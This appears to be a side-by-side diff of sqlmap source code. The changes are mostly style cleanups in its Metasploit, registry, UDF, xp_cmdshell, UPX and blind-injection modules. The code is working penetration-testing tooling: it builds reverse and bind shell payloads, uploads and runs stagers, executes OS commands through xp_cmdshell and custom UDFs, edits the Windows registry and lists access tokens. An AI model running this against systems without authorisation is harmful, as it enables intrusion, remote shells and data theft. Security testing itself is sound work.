def __selectRhost(self): def __selectRhost(self):
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
message = "which is the back-end DBMS address? [%s] " % self.remoteIP message = "which is the back-end DBMS address? [%s] " % self.remoteIP
@ -300,9 +292,8 @@ class Metasploit:
else: else:
raise sqlmapDataException, "unexpected connection type" raise sqlmapDataException, "unexpected connection type"
def __selectLhost(self): def __selectLhost(self):
if self.connectionStr.startswith("reverse") or self.resourceFile != None: if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
message = "which is the local address? [%s] " % self.localIP message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP) address = readInput(message, default=self.localIP)
@ -317,11 +308,9 @@ class Metasploit:
else: else:
raise sqlmapDataException, "unexpected connection type" raise sqlmapDataException, "unexpected connection type"
def __selectConnection(self): def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList) return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def __prepareIngredients(self, encode=True, askChurrasco=True): def __prepareIngredients(self, encode=True, askChurrasco=True):
self.connectionStr = self.__selectConnection() self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost() self.lhostStr = self.__selectLhost()
@ -335,7 +324,6 @@ class Metasploit:
else: else:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def __forgeMsfCliCmd(self, exitfunc="process"): def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc self.__cliCmd += " EXITFUNC=%s" % exitfunc
@ -355,11 +343,9 @@ class Metasploit:
self.__cliCmd += " E" self.__cliCmd += " E"
def __forgeMsfConsoleCmd(self): def __forgeMsfConsoleCmd(self):
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile) self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
def __forgeMsfConsoleResource(self): def __forgeMsfConsoleResource(self):
self.resourceFile = os.path.join(conf.outputPath, self.__randFile) self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
@ -386,7 +372,6 @@ class Metasploit:
self.resourceFp.write(self.__resource) self.resourceFp.write(self.__resource)
self.resourceFp.close() self.resourceFp.close()
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr) self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc self.__payloadCmd += " EXITFUNC=%s" % exitfunc
@ -406,7 +391,6 @@ class Metasploit:
else: else:
self.__payloadCmd += " X > %s" % outFile self.__payloadCmd += " X > %s" % outFile
def __runMsfCli(self, exitfunc): def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc) self.__forgeMsfCliCmd(exitfunc)
@ -417,7 +401,6 @@ class Metasploit:
logger.debug("executing local command: %s" % self.__cliCmd) logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE) self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfConsole(self): def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, wait.." infoMsg = "running Metasploit Framework 3 console locally, wait.."
logger.info(infoMsg) logger.info(infoMsg)
@ -425,7 +408,6 @@ class Metasploit:
logger.debug("executing local command: %s" % self.__consoleCmd) logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE) self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfShellcodeRemote(self): def __runMsfShellcodeRemote(self):
infoMsg = "running Metasploit Framework 3 shellcode " infoMsg = "running Metasploit Framework 3 shellcode "
infoMsg += "remotely via UDF 'sys_bineval', wait.." infoMsg += "remotely via UDF 'sys_bineval', wait.."
@ -433,7 +415,6 @@ class Metasploit:
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
def __runMsfPayloadRemote(self): def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager " infoMsg = "running Metasploit Framework 3 payload stager "
infoMsg += "remotely, wait.." infoMsg += "remotely, wait.."
@ -444,7 +425,7 @@ class Metasploit:
cmd = "%s &" % self.exeFilePathRemote cmd = "%s &" % self.exeFilePathRemote
if self.cmdFromChurrasco == True: if self.cmdFromChurrasco:
cmd = "%s \"%s\"" % (self.churrascoPath, cmd) cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
if kb.dbms == "Microsoft SQL Server": if kb.dbms == "Microsoft SQL Server":
@ -452,7 +433,6 @@ class Metasploit:
self.execCmd(cmd, silent=True) self.execCmd(cmd, silent=True)
def __loadMetExtensions(self, proc, metSess): def __loadMetExtensions(self, proc, metSess):
if kb.os != "Windows": if kb.os != "Windows":
return return
@ -468,7 +448,7 @@ class Metasploit:
proc.stdin.write("use priv\n") proc.stdin.write("use priv\n")
proc.stdin.write("use sniffer\n") proc.stdin.write("use sniffer\n")
if conf.privEsc == True: if conf.privEsc:
print print
infoMsg = "displaying the list of Access Tokens availables. " infoMsg = "displaying the list of Access Tokens availables. "
@ -478,7 +458,6 @@ class Metasploit:
proc.stdin.write("list_tokens -u\n") proc.stdin.write("list_tokens -u\n")
def __controlMsfCmd(self, proc, func): def __controlMsfCmd(self, proc, func):
stdin_fd = sys.stdin.fileno() stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd) setNonBlocking(stdin_fd)
@ -536,7 +515,6 @@ class Metasploit:
return returncode return returncode
def createMsfShellcode(self, exitfunc, format, extra, encode): def createMsfShellcode(self, exitfunc, format, extra, encode):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
logger.info(infoMsg) logger.info(infoMsg)
@ -578,9 +556,8 @@ class Metasploit:
os.unlink(self.__shellcodeFilePath) os.unlink(self.__shellcodeFilePath)
def createMsfPayloadStager(self, initialize=True): def createMsfPayloadStager(self, initialize=True):
if initialize == True: if initialize:
infoMsg = "" infoMsg = ""
else: else:
infoMsg = "re" infoMsg = "re"
@ -608,10 +585,10 @@ class Metasploit:
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr) self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
self.__fileFormat = "elf" self.__fileFormat = "elf"
if initialize == True: if initialize:
self.__initVars() self.__initVars()
if self.payloadStr == None: if self.payloadStr is None:
self.__prepareIngredients() self.__prepareIngredients()
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal) self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
@ -657,7 +634,6 @@ class Metasploit:
errMsg = "failed to create the payload stager (%s)" % payloadStderr errMsg = "failed to create the payload stager (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg raise sqlmapFilePathException, errMsg
def uploadMsfPayloadStager(self): def uploadMsfPayloadStager(self):
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal)) self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
@ -666,9 +642,8 @@ class Metasploit:
os.unlink(self.exeFilePathLocal) os.unlink(self.exeFilePathLocal)
def pwn(self, goUdf=False): def pwn(self, goUdf=False):
if goUdf is True: if goUdf:
exitfunc = "thread" exitfunc = "thread"
func = self.__runMsfShellcodeRemote func = self.__runMsfShellcodeRemote
else: else:
@ -684,10 +659,9 @@ class Metasploit:
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func) debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
logger.debug(debugMsg) logger.debug(debugMsg)
if goUdf is False: if not goUdf:
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True) self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
def smb(self): def smb(self):
self.__initVars() self.__initVars()
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True) self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
@ -708,7 +682,6 @@ class Metasploit:
os.unlink(self.resourceFile) os.unlink(self.resourceFile)
def bof(self): def bof(self):
self.__runMsfCli(exitfunc="seh") self.__runMsfCli(exitfunc="seh")

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
from lib.core.common import randomStr from lib.core.common import randomStr
@ -31,7 +29,6 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
class Registry: class Registry:
""" """
This class defines methods to read and write Windows registry keys This class defines methods to read and write Windows registry keys
@ -47,7 +44,7 @@ class Registry:
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr) self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr)) self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
if parse == True: if parse:
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else: else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"" readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
@ -67,7 +64,6 @@ class Registry:
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue) "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
) )
def __createLocalBatchFile(self): def __createLocalBatchFile(self):
self.__batPathFp = open(self.__batPathLocal, "w") self.__batPathFp = open(self.__batPathLocal, "w")
@ -83,7 +79,6 @@ class Registry:
self.__batPathFp.close() self.__batPathFp.close()
def __createRemoteBatchFile(self): def __createRemoteBatchFile(self):
logger.debug("creating batch file '%s'" % self.__batPathRemote) logger.debug("creating batch file '%s'" % self.__batPathRemote)
@ -92,7 +87,6 @@ class Registry:
os.unlink(self.__batPathLocal) os.unlink(self.__batPathLocal)
def readRegKey(self, regKey, regValue, parse=False): def readRegKey(self, regKey, regValue, parse=False):
self.__operation = "read" self.__operation = "read"
@ -112,7 +106,6 @@ class Registry:
return data return data
def addRegKey(self, regKey, regValue, regType, regData): def addRegKey(self, regKey, regValue, regType, regData):
self.__operation = "add" self.__operation = "add"
@ -126,7 +119,6 @@ class Registry:
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True) self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteFile(self.__batPathRemote, doubleslash=True) self.delRemoteFile(self.__batPathRemote, doubleslash=True)
def delRegKey(self, regKey, regValue): def delRegKey(self, regKey, regValue):
self.__operation = "delete" self.__operation = "delete"

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
from lib.core.agent import agent from lib.core.agent import agent
@ -52,10 +50,9 @@ class UDF:
self.udfs = {} self.udfs = {}
self.udfToCreate = set() self.udfToCreate = set()
def __askOverwriteUdf(self, udf): def __askOverwriteUdf(self, udf):
message = "UDF '%s' already exists, do you " % udf message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] " message += "want to overwrite it? [y/N] "
output = readInput(message, default="N") output = readInput(message, default="N")
if output and output[0] in ("y", "Y"): if output and output[0] in ("y", "Y"):
@ -63,9 +60,8 @@ class UDF:
else: else:
return False return False
def __checkExistUdf(self, udf): def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf) logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf)) query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False) exists = inject.getValue(query, resumeValue=False, unpack=False)
@ -74,27 +70,24 @@ class UDF:
return True return True
else: else:
return False return False
def udfCheckAndOverwrite(self, udf): def udfCheckAndOverwrite(self, udf):
exists = self.__checkExistUdf(udf) exists = self.__checkExistUdf(udf)
overwrite = True overwrite = True
if exists is True: if exists:
overwrite = self.__askOverwriteUdf(udf) overwrite = self.__askOverwriteUdf(udf)
if overwrite is True: if overwrite:
self.udfToCreate.add(udf) self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType): def udfCreateSupportTbl(self, dataType):
debugMsg = "creating a support table to write commands standard " debugMsg = "creating a support table to write commands standard "
debugMsg += "output to" debugMsg += "output to"
logger.debug(debugMsg) logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType) self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfExecCmd(self, cmd, silent=False, udfName=None): def udfExecCmd(self, cmd, silent=False, udfName=None):
cmd = urlencode(cmd, convall=True) cmd = urlencode(cmd, convall=True)
@ -102,8 +95,7 @@ class UDF:
cmd = "'%s'" % cmd cmd = "'%s'" % cmd
udfName = "sys_exec" udfName = "sys_exec"
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
cmd = urlencode(cmd, convall=True) cmd = urlencode(cmd, convall=True)
@ -112,9 +104,9 @@ class UDF:
cmd = "'%s'" % cmd cmd = "'%s'" % cmd
udfName = "sys_eval" udfName = "sys_eval"
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName) inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)): if isinstance(output, (list, tuple)):
output = output[0] output = output[0]
@ -124,21 +116,17 @@ class UDF:
return output return output
def udfCreateFromSharedLib(self): def udfCreateFromSharedLib(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin" errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException(errMsg)
def udfSetRemotePath(self): def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin" errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCmd(self): def udfInjectCmd(self):
errMsg = "udfInjectCmd() method must be defined within the plugin" errMsg = "udfInjectCmd() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict): def udfInjectCore(self, udfDict):
for udf in udfDict.keys(): for udf in udfDict.keys():
@ -162,15 +150,14 @@ class UDF:
self.udfCreateSupportTbl(supportTblType) self.udfCreateSupportTbl(supportTblType)
def udfInjectCustom(self): def udfInjectCustom(self):
if kb.dbms not in ( "MySQL", "PostgreSQL" ): if kb.dbms not in ( "MySQL", "PostgreSQL" ):
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException(errMsg)
stackedTest() stackedTest()
if kb.stackedTest == False: if not kb.stackedTest:
return return
self.checkDbmsOs() self.checkDbmsOs()
@ -195,21 +182,21 @@ class UDF:
if not os.path.exists(self.udfLocalFile): if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist" errMsg = "the specified shared library file does not exist"
raise sqlmapFilePathException, errMsg raise sqlmapFilePathException(errMsg)
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'" errMsg = "shared library file must end with '.dll' or '.so'"
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows": elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
errMsg = "you provided a shared object as shared library, but " errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows" errMsg += "the database underlying operating system is Windows"
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux": elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
errMsg = "you provided a dynamic-link library as shared library, " errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux" errMsg += "but the database underlying operating system is Linux"
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException(errMsg)
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import time import time
@ -37,7 +35,6 @@ from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
class UPX: class UPX:
""" """
This class defines methods to compress binary files with UPX (Ultimate This class defines methods to compress binary files with UPX (Ultimate
@ -69,7 +66,6 @@ class UPX:
if dstFile: if dstFile:
self.__upxCmd += " -o %s" % dstFile self.__upxCmd += " -o %s" % dstFile
def pack(self, srcFile, dstFile=None): def pack(self, srcFile, dstFile=None):
self.__initialize(srcFile, dstFile) self.__initialize(srcFile, dstFile)
@ -97,13 +93,10 @@ class UPX:
return None return None
def unpack(self, srcFile, dstFile=None): def unpack(self, srcFile, dstFile=None):
pass pass
def verify(self, filePath): def verify(self, filePath):
pass pass
upx = UPX() upx = UPX()

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import urlencode from lib.core.convert import urlencode
@ -34,7 +32,6 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject from lib.request import inject
from lib.techniques.blind.timebased import timeUse from lib.techniques.blind.timebased import timeUse
class xp_cmdshell: class xp_cmdshell:
""" """
This class defines methods to deal with Microsoft SQL Server This class defines methods to deal with Microsoft SQL Server
@ -44,9 +41,7 @@ class xp_cmdshell:
def __init__(self): def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell" self.xpCmdshellStr = "master..xp_cmdshell"
def __xpCmdshellCreate(self): def __xpCmdshellCreate(self):
# TODO: double-check that this method works properly
cmd = "" cmd = ""
if kb.dbmsVersion[0] in ( "2005", "2008" ): if kb.dbmsVersion[0] in ( "2005", "2008" ):
@ -73,7 +68,6 @@ class xp_cmdshell:
self.xpCmdshellExecCmd(cmd) self.xpCmdshellExecCmd(cmd)
def __xpCmdshellConfigure2005(self, mode): def __xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg = "configuring xp_cmdshell using sp_configure "
debugMsg += "stored procedure" debugMsg += "stored procedure"
@ -87,7 +81,6 @@ class xp_cmdshell:
return cmd return cmd
def __xpCmdshellConfigure2000(self, mode): def __xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
debugMsg += "stored procedure" debugMsg += "stored procedure"
@ -96,12 +89,11 @@ class xp_cmdshell:
if mode == 1: if mode == 1:
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', " cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
cmd += "@dllname='xplog70.dll'" cmd += "@dllname='xplog70.dll'"
else: else:
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell" cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
return cmd return cmd
def __xpCmdshellConfigure(self, mode): def __xpCmdshellConfigure(self, mode):
if kb.dbmsVersion[0] in ( "2005", "2008" ): if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd = self.__xpCmdshellConfigure2005(mode) cmd = self.__xpCmdshellConfigure2005(mode)
@ -110,7 +102,6 @@ class xp_cmdshell:
self.xpCmdshellExecCmd(cmd) self.xpCmdshellExecCmd(cmd)
def __xpCmdshellCheck(self): def __xpCmdshellCheck(self):
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2)) query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
duration = timeUse(query) duration = timeUse(query)
@ -120,19 +111,16 @@ class xp_cmdshell:
else: else:
return False return False
def xpCmdshellForgeCmd(self, cmd): def xpCmdshellForgeCmd(self, cmd):
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd) return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False): def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
if forgeCmd == True: if forgeCmd:
cmd = self.xpCmdshellForgeCmd(cmd) cmd = self.xpCmdshellForgeCmd(cmd)
cmd = urlencode(cmd, convall=True) cmd = urlencode(cmd, convall=True)
inject.goStacked(cmd, silent) inject.goStacked(cmd, silent)
def xpCmdshellEvalCmd(self, cmd, first=None, last=None): def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
self.getRemoteTempPath() self.getRemoteTempPath()
@ -146,8 +134,8 @@ class xp_cmdshell:
self.delRemoteFile(tmpFile) self.delRemoteFile(tmpFile)
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName) inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)): if isinstance(output, (list, tuple)):
output = output[0] output = output[0]
@ -157,7 +145,6 @@ class xp_cmdshell:
return output return output
def xpCmdshellInit(self, mandatory=True): def xpCmdshellInit(self, mandatory=True):
self.__xpCmdshellAvailable = False self.__xpCmdshellAvailable = False
@ -167,7 +154,7 @@ class xp_cmdshell:
result = self.__xpCmdshellCheck() result = self.__xpCmdshellCheck()
if result == True: if result:
logger.info("xp_cmdshell extended procedure is available") logger.info("xp_cmdshell extended procedure is available")
self.__xpCmdshellAvailable = True self.__xpCmdshellAvailable = True
@ -180,7 +167,7 @@ class xp_cmdshell:
if not choice or choice in ("y", "Y"): if not choice or choice in ("y", "Y"):
self.__xpCmdshellConfigure(1) self.__xpCmdshellConfigure(1)
if self.__xpCmdshellCheck() == True: if self.__xpCmdshellCheck():
logger.info("xp_cmdshell re-enabled successfully") logger.info("xp_cmdshell re-enabled successfully")
self.__xpCmdshellAvailable = True self.__xpCmdshellAvailable = True
@ -191,7 +178,7 @@ class xp_cmdshell:
self.__xpCmdshellConfigure(0) self.__xpCmdshellConfigure(0)
self.__xpCmdshellCreate() self.__xpCmdshellCreate()
if self.__xpCmdshellCheck() == True: if self.__xpCmdshellCheck():
logger.info("xp_cmdshell created successfully") logger.info("xp_cmdshell created successfully")
self.__xpCmdshellAvailable = True self.__xpCmdshellAvailable = True
@ -200,14 +187,14 @@ class xp_cmdshell:
warnMsg += "because sp_OACreate is disabled" warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg) logger.warn(warnMsg)
if self.__xpCmdshellAvailable == False and mandatory == False: if not self.__xpCmdshellAvailable and not mandatory:
warnMsg = "unable to get xp_cmdshell working, sqlmap will " warnMsg = "unable to get xp_cmdshell working, sqlmap will "
warnMsg += "try to proceed without it" warnMsg += "try to proceed without it"
logger.warn(warnMsg) logger.warn(warnMsg)
self.envInitialized = True self.envInitialized = True
elif self.__xpCmdshellAvailable == False: elif not self.__xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell" errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
@ -215,6 +202,6 @@ class xp_cmdshell:
debugMsg = "creating a support table to write commands standard " debugMsg = "creating a support table to write commands standard "
debugMsg += "output to" debugMsg += "output to"
logger.debug(debugMsg) logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)") self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import threading import threading
import time import time
import traceback import traceback
@ -43,8 +41,6 @@ from lib.core.exception import unhandledException
from lib.core.progress import ProgressBar from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None): def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
""" """
Bisection algorithm that can be used to perform blind SQL injection Bisection algorithm that can be used to perform blind SQL injection
@ -102,7 +98,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
progress = ProgressBar(maxValue=length) progress = ProgressBar(maxValue=length)
progressTime = [] progressTime = []
if conf.verbose in ( 1, 2 ) and not showEta: if conf.verbose >= 1 and not showEta:
if isinstance(length, int) and conf.threads > 1: if isinstance(length, int) and conf.threads > 1:
infoMsg = "starting %d threads" % numThreads infoMsg = "starting %d threads" % numThreads
logger.info(infoMsg) logger.info(infoMsg)
@ -113,8 +109,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules queriesCount = [0] # As list to deal with nested scoping rules
def getChar(idx, asciiTbl=asciiTbl): def getChar(idx, asciiTbl=asciiTbl):
maxValue = asciiTbl[len(asciiTbl)-1] maxValue = asciiTbl[len(asciiTbl)-1]
minValue = 0 minValue = 0
@ -126,7 +120,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
forgedPayload = payload % (expressionUnescaped, idx, posValue) forgedPayload = payload % (expressionUnescaped, idx, posValue)
result = Request.queryPage(forgedPayload) result = Request.queryPage(forgedPayload)
if result == True: if result:
minValue = posValue minValue = posValue
asciiTbl = asciiTbl[position:] asciiTbl = asciiTbl[position:]
else: else:
@ -138,8 +132,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
return None return None
else: else:
return chr(minValue + 1) return chr(minValue + 1)
def etaProgressUpdate(charTime, index): def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ): if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0 eta = 0
@ -151,15 +143,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
progressTime.append(charTime) progressTime.append(charTime)
progress.update(index) progress.update(index)
progress.draw(eta) progress.draw(eta)
if conf.threads > 1 and isinstance(length, int) and length > 1: if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [ None ] * length value = [ None ] * length
index = [ firstChar ] # As list for python nested function scoping index = [ firstChar ] # As list for python nested function scoping
idxlock = threading.Lock() idxlock = threading.Lock()
iolock = threading.Lock() iolock = threading.Lock()
def downloadThread(): def downloadThread():
try: try:
while True: while True:
@ -184,7 +172,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if showEta: if showEta:
etaProgressUpdate(time.time() - charStart, index[0]) etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose in ( 1, 2 ): elif conf.verbose >= 1:
